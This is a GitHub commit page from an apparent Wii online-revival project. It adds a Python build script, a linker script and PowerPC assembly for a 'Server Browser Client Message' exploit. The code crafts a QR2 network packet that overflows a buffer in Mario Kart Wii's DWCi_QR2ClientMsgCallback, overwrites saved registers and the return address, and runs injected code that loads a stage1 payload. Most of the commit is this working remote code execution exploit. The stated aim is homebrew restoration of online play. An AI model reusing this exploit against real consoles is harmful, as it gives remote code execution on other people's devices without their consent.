-
Notifications
You must be signed in to change notification settings - Fork 9
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Use SB client message exploit for DNS users
- Loading branch information
Showing
16 changed files
with
1,304 additions
and
587 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -34,6 +34,8 @@ stage1/build | |
patch/build | ||
payload/build | ||
payload/binary | ||
exploit/build | ||
exploit/sbcm | ||
*.elf | ||
*.out | ||
*.dol | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,107 @@ | ||
from multiprocessing.pool import ThreadPool, TimeoutError | ||
from sys import argv | ||
import os, csv, time, subprocess, hashlib | ||
|
||
devkitppc = os.environ.get("DEVKITPPC") | ||
path_cc = os.path.join(devkitppc, "bin", "powerpc-eabi-gcc") | ||
path_objcopy = os.path.join(devkitppc, "bin", "powerpc-eabi-objcopy") | ||
|
||
extra_build_flags = [] | ||
|
||
def build(game): | ||
print(game["Title"]) | ||
flags = [] | ||
flags.append("-D" + game["Title"] + "=1") | ||
|
||
title_str = game["Title"] | ||
# pad to 9 bytes | ||
if len(title_str) == 7: | ||
title_str += "\\0\\0" | ||
|
||
flags.append("-DPAYLOAD=\"" + title_str + "\"") | ||
stage1_flags = flags.copy() | ||
|
||
for key, value in game.items(): | ||
if key != "Title": | ||
flags.append("-D" + key + "=" + value) | ||
stage1_flags.append("-D" + key + "=" + value) | ||
if key.startswith("ADDRESS_"): | ||
flags.append("-Wl,-defsym," + key[len("ADDRESS_"):] + "=" + value) | ||
|
||
flags += extra_build_flags | ||
stage1_flags += extra_build_flags | ||
stage1_flags += ["-DSTAGE1_SBCM=1"] | ||
|
||
ccflags = "-g -Os -std=c++20 -fno-rtti -ffreestanding -nodefaultlibs -nostdlib -fno-unwind-tables -fno-exceptions -fmerge-all-constants -ffunction-sections -fdata-sections -fshort-enums -nodefaultlibs -nostdlib -lgcc -Wl,--gc-sections -n " | ||
ccflags += "-I" + os.path.join("..", "include") | ||
|
||
out_path = os.path.join("build", game["TitleID"]) | ||
subprocess.run([path_cc, os.path.join("..", "stage1", "wwfcStage1.cpp")] + ccflags.split(" ") + ["-S", "-o" + out_path + "-stage1.s"] + stage1_flags).check_returncode() | ||
subprocess.run([path_cc, "-o" + out_path + ".o", "-xassembler-with-cpp", "wwfcSbcmPacket.s", "-xassembler", out_path + "-stage1.s", "-mregnames", "-I" + os.path.join("..", "include"), "-Tsbcm-packet.ld", "-Ttext=" + game["ADDRESS_GTI2_BUFFER"], "-nodefaultlibs", "-nostdlib", "-n", "-lgcc"] + flags).check_returncode() | ||
subprocess.run([path_objcopy, out_path + ".o", os.path.join("sbcm", "payload." + game["TitleID"] + ".bin"), "-O", "binary"]).check_returncode() | ||
|
||
if __name__ == "__main__": | ||
try: | ||
os.mkdir("build") | ||
except: | ||
pass | ||
|
||
try: | ||
os.mkdir("sbcm") | ||
except: | ||
pass | ||
|
||
game_list = [] | ||
game_ids = {"RMCP": "RMCPD00", "RMCE": "RMCED00", "RMCJ": "RMCJD00", "RMCK": "RMCKD00"} | ||
|
||
with open(os.path.join("..", "gamedefs.csv")) as csv_file: | ||
reader = csv.DictReader(csv_file, delimiter=",", dialect="excel") | ||
for game in reader: | ||
game_list.append(game) | ||
|
||
pool_count = -1 | ||
title_id = "" | ||
|
||
for i in range(len(argv)): | ||
if i == 0: | ||
continue | ||
|
||
if argv[i].startswith("-j"): | ||
if len(argv[i]) == 2: | ||
pool_count = 0 | ||
else: | ||
pool_count = int(argv[i][2:]) | ||
elif argv[i].startswith("-g") or argv[i].startswith("-t"): | ||
title_id = argv[i][2:] | ||
elif argv[i].startswith("-D"): | ||
extra_build_flags.append(argv[i]) | ||
|
||
if title_id != "": | ||
for key in game_ids.keys(): | ||
if key.startswith(title_id) == False: | ||
del game_ids[key] | ||
|
||
if game_ids == {}: | ||
print("No title for " + title_id) | ||
|
||
map_game_list = [] | ||
for key in game_ids: | ||
for game in game_list: | ||
if game["Title"] == game_ids[key]: | ||
game["TitleID"] = key | ||
map_game_list.append(game) | ||
break | ||
|
||
|
||
if pool_count == -1: | ||
for game in map_game_list: | ||
build(game) | ||
exit() | ||
|
||
if pool_count == 0: | ||
pool = ThreadPool() | ||
else: | ||
pool = ThreadPool(pool_count) | ||
pool.map(build, map_game_list) | ||
pool.close() | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
OUTPUT_FORMAT("elf32-powerpc", "elf32-powerpc", "elf32-powerpc"); | ||
OUTPUT_ARCH(powerpc:common); | ||
ENTRY(wwfcSBCMPacket) | ||
|
||
SECTIONS | ||
{ | ||
.text : { | ||
KEEP (*(wwfc_packet)) | ||
. = ALIGN(4); | ||
*(.text*) | ||
*(.rodata*) | ||
*(.data*) | ||
*(.bss*) | ||
*(.sdata*) | ||
*(.sbss*) | ||
wwfc_stage1_end = .; | ||
} | ||
|
||
/DISCARD/ : { | ||
*(.comment*) | ||
*(.eh_frame*) | ||
*(.eh_frame_hdr*) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
// Server Browser Client Message exploit, used for the DNS patcher | ||
// Credits: | ||
// - Palapeli (mkwcat) | ||
// - Seeky (SeekyCt) | ||
// - Emma (InvoxiPlayGames) | ||
// | ||
// The buffer is located at 0x802F2480 in Mario Kart Wii PAL | ||
// Exploit is in DWCi_QR2ClientMsgCallback, with the memcpy at 0x800E5AD4 | ||
|
||
.section wwfc_packet, "ax", @progbits | ||
.global wwfcSBCMPacket | ||
wwfcSBCMPacket: | ||
/* 0x0000 */ .byte 0xFE, 0xFD // QR2 packet magic | ||
/* 0x0002 */ .byte 0x06 // Message type (6 = CLIENT_MESSAGE) | ||
/* 0x0003 */ .long 0x00000000 // QR2 session ID | ||
/* 0x0007 */ .long 0x00000000 // Packet counter | ||
|
||
// Client Message header | ||
/* 0x000B */ .byte 0xBB, 0x49, 0xCC, 0x4D // Packet magic | ||
/* 0x000F */ .long 0x5A000000 // DWC match version (Little endian) | ||
/* 0x0013 */ .byte 0x00 // Match command (0 = None) | ||
/* 0x0014 */ .byte wwfcSBCMMatchCommandEnd - wwfcSBCMMatchCommandStart // Packet size (This is the overflow) | ||
/* 0x0015 */ .short 0x0000 // QR2 port (Little endian) | ||
/* 0x0017 */ .byte 0x00, 0x00, 0x00, 0x00 // QR2 public IP | ||
/* 0x001B */ .long 0x00000000 // QR2 profile ID (Little endian) | ||
|
||
wwfcSBCMMatchCommandStart: | ||
// GT2 buffer offset / Stack offset | ||
/* 0x001F / 0x1C */ .byte 0x00 // Padding to 4 byte boundary | ||
|
||
// Offset is 0x608 for Mario Kart Wii, might be different for other games | ||
#define SOCKADDR_OFFSET 0x608 | ||
|
||
wwfcSBCMEntryPoint: | ||
// Flush the cache of the rest of the packet, as OSInitSystenCall only flushes 256 bytes | ||
/* 0x0020 / 0x1D */ mr r3, r31 | ||
/* 0x0024 / 0x21 */ li r4, 0x1000 | ||
/* 0x0028 / 0x25 */ bl DCFlushRange | ||
|
||
/* 0x002C / 0x29 */ mr r3, r31 | ||
/* 0x0030 / 0x2D */ li r4, 0x1000 | ||
/* 0x0034 / 0x31 */ bl ICInvalidateRange | ||
|
||
// Send CLIENT_EXPLOIT_ACK | ||
/* 0x0038 / 0x35 */ lwz r3, 0(r27) // Socket | ||
/* 0x003C / 0x39 */ addi r4, r31, 0x2 // Message buffer | ||
/* 0x0040 / 0x3D */ stb r30, 0(r4) // Message type = 0x10 | ||
/* 0x0044 / 0x41 */ li r5, 0x9 // Message size = 9 | ||
/* 0x0048 / 0x45 */ li r6, 0 // Flags | ||
/* 0x004C / 0x49 */ addi r7, r1, SOCKADDR_OFFSET // Sockaddr | ||
/* 0x0050 / 0x4D */ li r8, 8 // Sockaddr size | ||
/* 0x0054 / 0x51 */ bl sendto | ||
|
||
/* 0x0058 / 0x55 */ bl wwfcStage1Entry | ||
|
||
/* 0x005C / 0x59 */ addi r29, r1, SOCKADDR_OFFSET | ||
/* 0x0060 / 0x5D */ subi r1, r1, 0x10 | ||
/* 0x0064 / 0x61 */ b SBCM_RETURN | ||
// Code end | ||
|
||
/* 0x00A3 / 0xA0 */ .org 0x00A3 | ||
/* 0x00A3 / 0xA0 */ .long 0x00000000 // r28 | ||
/* 0x00A7 / 0xA4 */ .long 0x00000000 // r29 | ||
/* 0x00AB / 0xA8 */ .long 0x00000010 // r30 | ||
// Use OSInitSystemCall to flush dcache and invalidate icache | ||
/* 0x00AF / 0xAC */ .long wwfcSBCMEntryPoint - 0xC00 // r31 (for OSInitSystemCall) | ||
/* 0x00B3 / 0xB0 */ .long 0xFFFFFFFF // SP (for OSInitSystemCall) | ||
/* 0x00B7 / 0xB4 */ .long ADDRESS_OSInitSystemCall_Tail // LR | ||
/* 0x00BB / 0xB8 */ .long 0x00000000 // Padding | ||
/* 0x00BF / 0xBC */ .long wwfcSBCMPacket // r31 | ||
/* 0x00C3 / 0xC0 */ .long 0xFFFFFFFF // SP | ||
/* 0x00C7 / 0xC4 */ .long wwfcSBCMEntryPoint // LR | ||
wwfcSBCMMatchCommandEnd: |
Oops, something went wrong.